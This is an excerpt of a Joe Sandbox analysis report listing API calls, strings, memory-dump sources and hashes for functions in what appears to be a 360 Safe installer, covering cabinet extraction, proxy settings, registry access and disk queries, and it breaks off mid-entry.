Instruction ID: 56c48b7c61991362d5f55304cc83d0417b6993a4ce7c1e40360e146e80c1650b
Opcode Fuzzy Hash: a28a54eb4f2d0851dba017d8f41997fa9e6bacdd51a355bf429dffa31879ab71
Instruction Fuzzy Hash: 16A12DB1511749ABDB14DFA4CC80AEF77F9BF44210F14462AE91EDA380EB30EA45CB90

Function 0018540F Relevance: 28.2, APIs: 3, Strings: 13, Instructions: 202COMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(?,?), ref: 00185469
StrCpyW.SHLWAPI(?,?), ref: 00185473

Part of subcall function 001848F2: __EH_prolog3.LIBCMT ref: 001848F9
Part of subcall function 001848F2: GetCurrentThreadId.KERNEL32 ref: 00184980

_strlen.LIBCMT ref: 00185487

Part of subcall function 00182982: __CxxThrowException@8.LIBCMT ref: 001829C2

Part of subcall function 00184E4C: GetCurrentThreadId.KERNEL32 ref: 00184E50

Part of subcall function 0018269D: __EH_prolog3.LIBCMT ref: 001826A4

Part of subcall function 00181BA2: GetStdHandle.KERNEL32(000000F5,?,00185699,0000000C,Extract ERROR: The file is not a valid Cabinet: %s,?,?,?,?,?,0022D4D1,00000000), ref: 00181BA8
Part of subcall function 00181BA2: SetConsoleTextAttribute.KERNEL32(00000000,?,0022D4D1,00000000), ref: 00181BAF
Part of subcall function 00181BA2: _vwprintf.LIBCMT ref: 00181BBE
Part of subcall function 00181BA2: _printf.LIBCMT ref: 00181BC8

Part of subcall function 00183C23: __EH_prolog3.LIBCMT ref: 00183C2A
Part of subcall function 00183C23: FreeLibrary.KERNEL32(?,00000004,0018565F,?,?,?,?,0022D4D1,00000000), ref: 00183C51

Strings

false, xrefs: 00185598, 001855A3, 001855BC
true, xrefs: 00185593, 001855D3
Extract ERROR: The file is not a valid Cabinet: %s, xrefs: 0018568D
Set ID: %d, xrefs: 00185571
Extract ERROR: Not all files could be extracted:%s, xrefs: 00185649
CAB filesize: %d Bytes, xrefs: 0018553E
CAB Index: %d, xrefs: 00185581
Has additional header data: %s, xrefs: 001855A4
Folder count in CAB: %d, xrefs: 00185551
Has successor in splitted Cabinet: %s, xrefs: 001855D4
Has predecessor in splitted Cabinet: %s, xrefs: 001855BD
File count in CAB: %d, xrefs: 00185561
Extract ERROR: Could not create FDI context:%s, xrefs: 001854E5

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: H_prolog3$CurrentThread$AttributeConsoleException@8FreeHandleLibraryTextThrow_printf_strlen_vwprintf
String ID: CAB Index: %d$CAB filesize: %d Bytes$Extract ERROR: Could not create FDI context:%s$Extract ERROR: Not all files could be extracted:%s$Extract ERROR: The file is not a valid Cabinet: %s$File count in CAB: %d$Folder count in CAB: %d$Has additional header data: %s$Has predecessor in splitted Cabinet: %s$Has successor in splitted Cabinet: %s$Set ID: %d$false$true
API String ID: 2826464441-2631079916
Opcode ID: e8df448088ef2bad7c4a0a87a1951d801bf7dede93e12a7d2bb50005dca7a8de
Instruction ID: d9eafa53c4f54cc9952b6d1acd704c0a826e1473d75ead7b678a9b1d11376858
Opcode Fuzzy Hash: e8df448088ef2bad7c4a0a87a1951d801bf7dede93e12a7d2bb50005dca7a8de
Instruction Fuzzy Hash: 0161AE72900658BBDB21FF90EC41EEE77B8EF29715F100165F809AB180EB749B15CBA0

Function 5F4E4F3B Relevance: 26.7, APIs: 4, Strings: 11, Instructions: 480COMMON

Download Yara Rule

APIs

Part of subcall function 5F52AB44: __EH_prolog3_catch.LIBCMT ref: 5F52AB4B

GetLastError.KERNEL32(FF4173A1,00000000,?,00000000), ref: 5F4E4FA7
GetLastError.KERNEL32(00000001,FF4173A1,00000000,?,00000000), ref: 5F4E5020

Part of subcall function 5F50BFAE: __EH_prolog3.LIBCMT ref: 5F50BFB5
Part of subcall function 5F50BFAE: _memset.LIBCMT ref: 5F50C152

_memset.LIBCMT ref: 5F4E53F1
GetTickCount.KERNEL32 ref: 5F4E54D6

Part of subcall function 5F513F7C: _memset.LIBCMT ref: 5F513FAF
Part of subcall function 5F513F7C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 5F513FCA

Strings

[%d.%3d] , xrefs: 5F4E52EF
ERR_HTTPMGR_DNS_NOT_FINISH, xrefs: 5F4E556F
[%d.] proxy=%d,Errcode = %u(%s), , xrefs: 5F4E5581
[%d.] Start Through FireWall http protocol PickUrl Failed, xrefs: 5F4E509D
[%d.] ErrorCode = %d,, xrefs: 5F4E502D
ERR_HTTPMGR_NOT_IP, xrefs: 5F4E510B, 5F4E552A
[%d.] Errcode = %u(%s), xrefs: 5F4E5122
[%d.] Start Through FireWall http protocol PickIp Failed, xrefs: 5F4E5204
[%d.%3d] ConnectNum = %d, xrefs: 5F4E54F7
[%d.] proxy=%d,Errcode = %u(%s), , xrefs: 5F4E5547
[%d.] ErrorCode = %d , , xrefs: 5F4E4FB4

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _memset$ErrorLast$CountH_prolog3H_prolog3_catchTickwvnsprintf
String ID: ERR_HTTPMGR_DNS_NOT_FINISH$ERR_HTTPMGR_NOT_IP$[%d.%3d] $[%d.%3d] ConnectNum = %d$[%d.] ErrorCode = %d , $[%d.] Errcode = %u(%s)$[%d.] ErrorCode = %d,$[%d.] Start Through FireWall http protocol PickIp Failed$[%d.] Start Through FireWall http protocol PickUrl Failed$[%d.] proxy=%d,Errcode = %u(%s), $[%d.] proxy=%d,Errcode = %u(%s),
API String ID: 2301807879-2515552278
Opcode ID: a917909481b316e21f7468959cb6c98c78643f9e9bdbaf3358c55e3e801cf59e
Instruction ID: 50430b682ee7aa2c95e600f01636a789db2ab00a375a6dc4927dcdb078ae4c43
Opcode Fuzzy Hash: a917909481b316e21f7468959cb6c98c78643f9e9bdbaf3358c55e3e801cf59e
Instruction Fuzzy Hash: 9002A1F09017459FEB14DFA4C840BEAB7B6EF44302F00452EE656DB281DB76A954CBA2

Function 5F51E724 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 88windowregistrythreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 5F51E732

Part of subcall function 5F4EAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,5F568AA8,00000018,5F51E73E,00000000), ref: 5F4EAE6F

GetModuleHandleW.KERNEL32(00000000), ref: 5F51E760
RegisterClassExW.USER32(00000030), ref: 5F51E780
GetModuleHandleW.KERNEL32(00000000,00000000), ref: 5F51E788
CreateWindowExW.USER32(00000000,360AsyncNetwork,360AsyncNetwork,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 5F51E795

Part of subcall function 5F51C5B6: SetTimer.USER32(?,00000000,00000064,00000000), ref: 5F51C5D6

SetEvent.KERNEL32(?,00000000), ref: 5F51E7B3
TranslateMessage.USER32(?), ref: 5F51E7C4
DispatchMessageW.USER32(?), ref: 5F51E7CE
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 5F51E7DB
DestroyWindow.USER32(?,00000000), ref: 5F51E7F0
GetModuleHandleW.KERNEL32(00000000), ref: 5F51E7F7
UnregisterClassW.USER32(360AsyncNetwork,00000000), ref: 5F51E7FF

Strings

p2sp.Network, xrefs: 5F51E72D
0, xrefs: 5F51E749
360AsyncNetwork, xrefs: 5F51E768, 5F51E792, 5F51E793, 5F51E7FE

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: HandleModule$ClassDispatcherMessageUserWindow$CallbackCreateCurrentDestroyDispatchEventExceptionRegisterThreadTimerTranslateUnregister
String ID: 0$360AsyncNetwork$p2sp.Network
API String ID: 4253188931-2555541505
Opcode ID: 56088b72e2ba8fdd936482d6299a831ca16cb4acc06ca036ff3299506771a68e
Instruction ID: 58e247f0f783c8802a7c40f8af9cb531a00c2bfe336e4b74a67df13362370296
Opcode Fuzzy Hash: 56088b72e2ba8fdd936482d6299a831ca16cb4acc06ca036ff3299506771a68e
Instruction Fuzzy Hash: 1321ACB2D01228ABDB11AFE9C94CDDEBFFCFE49661B10042AF505E7100DB74591A8BA5

Function 5F516DCB Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 110registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,000F003F,5F5BC288,00000000,5F57AC78,74DF30D0,?,5F5BC3F0,5F5BC288), ref: 5F516DF2
RegCreateKeyExW.KERNEL32(80000002,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,5F5BC288,?,?,5F5BC3F0,5F5BC288), ref: 5F516E17
RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\LiveUpdate360,00000000,000F003F,5F5BC288,?,5F5BC3F0,5F5BC288), ref: 5F516E2D
RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\LiveUpdate360,00000000,00000000,00000000,000F003F,00000000,5F5BC288,?,?,5F5BC3F0,5F5BC288), ref: 5F516E4A
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\LiveUpdate360,00000000,00020019,5F5BC3F0), ref: 5F516E71
RegCloseKey.ADVAPI32(5F5BC3F0), ref: 5F516EF4

Strings

customsocks, xrefs: 5F516EDE
SOFTWARE\LiveUpdate360, xrefs: 5F516DE1, 5F516DE6, 5F516E11, 5F516E27, 5F516E44, 5F516E68
ieproxy, xrefs: 5F516EBB
customhttp, xrefs: 5F516ECB
proxytype, xrefs: 5F516E9B
Neverup, xrefs: 5F516E8B
customproxytype, xrefs: 5F516EAB
Intranet, xrefs: 5F516E7B

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: Open$Create$Close
String ID: Intranet$Neverup$SOFTWARE\LiveUpdate360$customhttp$customproxytype$customsocks$ieproxy$proxytype
API String ID: 744170003-1635914898
Opcode ID: 58947b3343b0b1e7c0c6fa879eb15bd2a84b993e4dde93bd5c7ab9049ea59d35
Instruction ID: 2f40cba9a9986147986108d25b9e704bede8f036f10bfc061efa9ebda3edd4e7
Opcode Fuzzy Hash: 58947b3343b0b1e7c0c6fa879eb15bd2a84b993e4dde93bd5c7ab9049ea59d35
Instruction Fuzzy Hash: C031C9B690110CFFEB119BD5DD48DEFBFBDEF44254F1000BAB545A2011D6316B69EA60

Function 5F4FE53F Relevance: 24.2, APIs: 16, Instructions: 180timesynchronizationCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 5F4FE546
__CxxThrowException@8.LIBCMT ref: 5F4FE56A
CreateWaitableTimerW.KERNEL32(00000000,00000001,00000000), ref: 5F4FE5F1
GetLastError.KERNEL32 ref: 5F4FE600
SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 5F4FE628
GetLastError.KERNEL32 ref: 5F4FE632
CreateMutexW.KERNEL32(00000000,00000000,00000000), ref: 5F4FE64B
GetLastError.KERNEL32 ref: 5F4FE658
CreateSemaphoreW.KERNEL32(00000000,?,?,00000000), ref: 5F4FE67C
GetLastError.KERNEL32 ref: 5F4FE685

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ErrorLast$Create$TimerWaitable$Exception@8H_prolog3_catchMutexSemaphoreThrow
String ID:
API String ID: 1927663649-0
Opcode ID: d7c3239bd5d02394680b5b159eca421fd19c47a1a27aeb5133065dcda259e46b
Instruction ID: 263350079f56a9a85d5da816351cb09ea1e94ec3795dfc1eb127e28e1bf7deb0
Opcode Fuzzy Hash: d7c3239bd5d02394680b5b159eca421fd19c47a1a27aeb5133065dcda259e46b
Instruction Fuzzy Hash: F46129F1900208DFE724DFB5D9849AEBBF9FB48211B04992EF51AD7740E770A9498F90

Function 001CEA27 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 400COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001CEA49

Part of subcall function 001C87F5: _memset.LIBCMT ref: 001C8838
Part of subcall function 001C87F5: __wsplitpath.LIBCMT ref: 001C8845
Part of subcall function 001C87F5: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001C8874

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001CEA8E

Part of subcall function 001D2080: InitializeCriticalSection.KERNEL32(?,?,00000000,?,?,001CEAA4,?,0017BD49,00100000,00000000,0000008C), ref: 001D20EE

_memset.LIBCMT ref: 001CEC0A
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000026,00000001,00100000,00000000,0000008C), ref: 001CEC1F
PathAppendW.SHLWAPI(?,360\360Safe), ref: 001CEC2D
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 001CEC63
GetTickCount.KERNEL32 ref: 001CED12

Part of subcall function 0016DFB0: __CxxThrowException@8.LIBCMT ref: 0016DFC2

_memset.LIBCMT ref: 001CED82
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000026,00000001), ref: 001CED94
PathAppendW.SHLWAPI(00000000,360Safe), ref: 001CED9F

Part of subcall function 0018F087: std::_String_base::_Xlen.LIBCPMT ref: 0018F09C

Part of subcall function 0017A8EB: _wcsnlen.LIBCMT ref: 0017A91D

Part of subcall function 001CE951: __EH_prolog3.LIBCMT ref: 001CE958

Part of subcall function 001CE334: __EH_prolog3.LIBCMT ref: 001CE33B

Strings

360Safe, xrefs: 001CED96
:\360Safe, xrefs: 001CEE1B
360\360Safe, xrefs: 001CEC21

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$H_prolog3_memset$AppendFolderSpecialUnothrow_t@std@@@__ehfuncinfo$??2@$CountCriticalDiskException@8FreeInitializeSectionSpaceString_base::_ThrowTickXlen__wsplitpath_wcsnlenstd::_
String ID: 360Safe$360\360Safe$:\360Safe
API String ID: 1315137449-2735685471
Opcode ID: bfdc3c51a9012998afab91dad0357324c4ef320102db5fad429610b331fa2afa
Instruction ID: 8c85a98bb3b656b1ba58c3fdd3a52fae045580e6ba48361a96d5d1eb2593279e
Opcode Fuzzy Hash: bfdc3c51a9012998afab91dad0357324c4ef320102db5fad429610b331fa2afa
Instruction Fuzzy Hash: 62E16C71D0025A9BCF15EBA4CC96EFEB7B9BF28310F10452EF415A7281DB309A45CBA5

Function 001CEF0D Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 205fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001CEF2C

Part of subcall function 001EAF4F: __wcstoi64.LIBCMT ref: 001EAF2C

_memset.LIBCMT ref: 001CEF75
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000026,00000000,?,?,00000018), ref: 001CEF94
PathCombineW.SHLWAPI(00000000,00000000,?,360\360Safe,?,?,00000018), ref: 001CEFBB
PathFileExistsW.SHLWAPI(?,00000000,?,?,00000018), ref: 001CEFD0
PathIsDirectoryW.SHLWAPI(?), ref: 001CEFDD
DeleteFileW.KERNEL32(?,?,?,00000018), ref: 001CEFEA
PathIsDirectoryW.SHLWAPI(?), ref: 001CF00A
PathIsDirectoryEmptyW.SHLWAPI(?), ref: 001CF017
GetTickCount.KERNEL32 ref: 001CF03B

Strings

\360Safe, xrefs: 001CF096, 001CF09B, 001CF0E0, 001CF109
360\360Safe, xrefs: 001CEFA2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: Path$Directory$File$CombineCountDeleteEmptyExistsFolderH_prolog3SpecialTick__wcstoi64_memset
String ID: 360\360Safe$\360Safe
API String ID: 2943068809-3795500535
Opcode ID: 20896661774b421e33da0eeac02a6a5db6da144a8d68b3adba4988973a091f3f
Instruction ID: 9ac51d85b2704535b4094234b06bfc68f2352b9d4fbf8fcb1cec3bd75edbd633
Opcode Fuzzy Hash: 20896661774b421e33da0eeac02a6a5db6da144a8d68b3adba4988973a091f3f
Instruction Fuzzy Hash: 28715B71900159ABCF04EBA4DC56BFFB7B9AF24314F144529F516A32D2DF30AA14CBA1

Function 001E29E0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 165registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001E2A1F
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards,00000000,00000008,?,?,?,?), ref: 001E2A3A
RegEnumKeyExA.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,00000000,0024CDA4,?,?,?,?), ref: 001E2A6C
RegOpenKeyExA.KERNEL32(?,?,00000000,00000001,?,?,?,?), ref: 001E2A96
RegQueryValueExA.KERNEL32 ref: 001E2ACE
_memset.LIBCMT ref: 001E2AE7

Part of subcall function 001E28D0: CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,?,00000104,00000000), ref: 001E291E

lstrcmpA.KERNEL32(?,00000000), ref: 001E2B18
RegCloseKey.ADVAPI32(?), ref: 001E2B63
RegEnumKeyExA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 001E2B89
RegCloseKey.ADVAPI32(?,?,?,?), ref: 001E2BA0

Strings

ServiceName, xrefs: 001E2ABC
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards, xrefs: 001E2A30

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseEnumOpen_memset$CreateFileQueryValuelstrcmp
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards$ServiceName
API String ID: 2630661138-1795789498
Opcode ID: 8fa5d204d4f89e825ec4b15cee46c40d1c98ed128658fa0d0be8afb278bee7d8
Instruction ID: 483dece26125298e5a393e180b277186e83a8e52ab4b743269ddb32c9596901c
Opcode Fuzzy Hash: 8fa5d204d4f89e825ec4b15cee46c40d1c98ed128658fa0d0be8afb278bee7d8
Instruction Fuzzy Hash: 37519E71244781AFE724CF65DC99FAFB3EDAB98704F04891CF98997180EB709909C762

Function 001D42DE Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 139fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 001D42FD
GetDriveTypeW.KERNEL32(?,0000000C), ref: 001D4327
_memset.LIBCMT ref: 001D438A
QueryDosDeviceW.KERNEL32(?,00000000,00000400,00000400,?,?,\\.\), ref: 001D43BA
_wcslen.LIBCMT ref: 001D43D6
__wcsnicmp.LIBCMT ref: 001D43E1
CreateFileW.KERNEL32(?,00020000,00000001,00000000,00000003,00000080,00000000,000000FF,?,?,\\.\), ref: 001D4418
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000400,0017BD49,00000000), ref: 001D4461
CloseHandle.KERNEL32(00000000,?,?,\\.\), ref: 001D446C
CloseHandle.KERNEL32(00000000,?,?,\\.\), ref: 001D4489

Strings

\\.\, xrefs: 001D4359
\Device\Harddisk, xrefs: 001D43D0, 001D43D5, 001D43DC

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseDeviceHandle$ControlCreateDriveFileH_prolog3QueryType__wcsnicmp_memset_wcslen
String ID: \Device\Harddisk$\\.\
API String ID: 3469461504-3168084310
Opcode ID: e953c4f27a0db5b8c73eb15e8c1796d55ba22695c535b97e460a1b19a2b75760
Instruction ID: 4c7b789eb39de65dba0a45d3bdc42aef0d938be723f3187a0cb174e019e01876
Opcode Fuzzy Hash: e953c4f27a0db5b8c73eb15e8c1796d55ba22695c535b97e460a1b19a2b75760
Instruction Fuzzy Hash: 9541C0B1A00118ABDB14EFA4DC85BFE73A8FF24720F118629FA15A72C1DB305A45CB65

Function 00184E4C Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 98libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00184E50
TlsGetValue.KERNEL32(00000018), ref: 00184E85
LoadLibraryW.KERNEL32(Cabinet.dll,?,74DF3170), ref: 00184EEA
GetProcAddress.KERNEL32(00000000,FDICreate), ref: 00184F02
GetProcAddress.KERNEL32(?,FDICopy), ref: 00184F15
GetProcAddress.KERNEL32(?,FDIIsCabinet), ref: 00184F28
GetProcAddress.KERNEL32(?,FDIDestroy), ref: 00184F3B

Strings

FDICopy, xrefs: 00184F04
Cabinet.dll, xrefs: 00184EE5
FDIIsCabinet, xrefs: 00184F17
FDICreate, xrefs: 00184EF6
FDIDestroy, xrefs: 00184F2A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadThreadValue
String ID: Cabinet.dll$FDICopy$FDICreate$FDIDestroy$FDIIsCabinet
API String ID: 3141885424-2042144077
Opcode ID: a5c6caab537496c6853b82b358690fadbaadd92e1b6dcbe9a1520070b5d1a5a7
Instruction ID: bb633ed7938526b8a1df558243299f08c17ce67ed666440c589ac403b2f01946
Opcode Fuzzy Hash: a5c6caab537496c6853b82b358690fadbaadd92e1b6dcbe9a1520070b5d1a5a7
Instruction Fuzzy Hash: 5631C374940705AFC738AF75DC46DD2BBE4FB14701B114A6EE6AA82180DBB4A690CF90

Function 5F501DB5 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 78threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 5F501DBC
GetCurrentThreadId.KERNEL32 ref: 5F501DC6

Part of subcall function 5F4EAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,5F568AA8,00000018,5F51E73E,00000000), ref: 5F4EAE6F

_memset.LIBCMT ref: 5F501DF3
